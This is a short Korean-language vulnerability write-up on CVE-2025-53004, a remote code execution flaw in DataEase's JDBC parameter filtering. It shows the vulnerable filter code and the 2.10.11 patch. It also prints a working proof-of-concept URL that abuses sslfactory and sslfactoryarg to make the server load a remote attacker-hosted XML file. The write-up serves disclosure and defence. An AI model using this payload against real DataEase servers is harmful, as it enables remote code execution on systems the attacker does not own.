[하루한줄] CVE-2025-53004 : DataEase의 JDBC 연결 매개변수 우회로 인한 RCE 취약점
URL
Target
- io.dataease <= 2.10.10
Explain
DataEase는 오픈소스 비즈니스 인텔리전스 및 데이터 시각화 도구입니다. 내부 Redshift 데이터 소스 JDBC 연결 매개변수에 우회 취약점이 존재하여, 사용자의 입력을 실행하는 RCE 취약점이 발생합니다.
취약점은 H2.java
내의 호스트 이름/IP 주소 필드를 입력 받는 부분에 존재하는 jdbc
변수에서 발생합니다.
public String getJdbc() {
for (String illegalParameter : illegalParameters) {
if (jdbc.toUpperCase().contains(illegalParameter)) {
DEException.throwException("Has illegal parameter: " + jdbc);
}
}
jdbc 변수에 socketFactory
, socketFactoryArg
매개변수가 존재하는 경우에는 감지하여 필터링이 됩니다. 그러나 sslfactory
및 sslfactoryarg
매개변수를 사용하는 경우에는 감지가 되지 않기 때문에, 우회가 가능합니다.
PoC는 아래와 같습니다.
http://192.168.1.101:5433/test/?sslfactory=org.springframework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://92.168.1.101:2333/evill.xml&
페이지 내에서 호스트 이름/IP 주소 필드에 PoC URL을 입력하여 발생시킵니다. URL에 취약한 파라미터를 사용하는 방식으로 동작합니다. PoC에서는 sslfactoryarg
파라미터를 사용하고 접근할 파일 경로에 미리 준비한 evill.xml
파일의 경로를 삽입하여 전송합니다.
악성 파일의 구성은 위와 같습니다.
서버 측에서 확인해보면 페이지에서 스키마를 가져오는 동안 동시에 evill.xml
파일에 접근을 하는 것을 확인할 수 있습니다. 이처럼 사용자 입력 값이나 파일에 접근하여 실행이 가능하고, 이로 인해 RCE 취약점이 발생합니다.
이 취약점은 2.10.11 버전에 replace
구문을 추가하는 것으로 패치 되었습니다.
public String getJdbc() {
for (String illegalParameter : illegalParameters) {
if (jdbc.toUpperCase().replace("\\", "").contains(illegalParameter)) {
DEException.throwException("Has illegal parameter: " + jdbc);
}
}
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.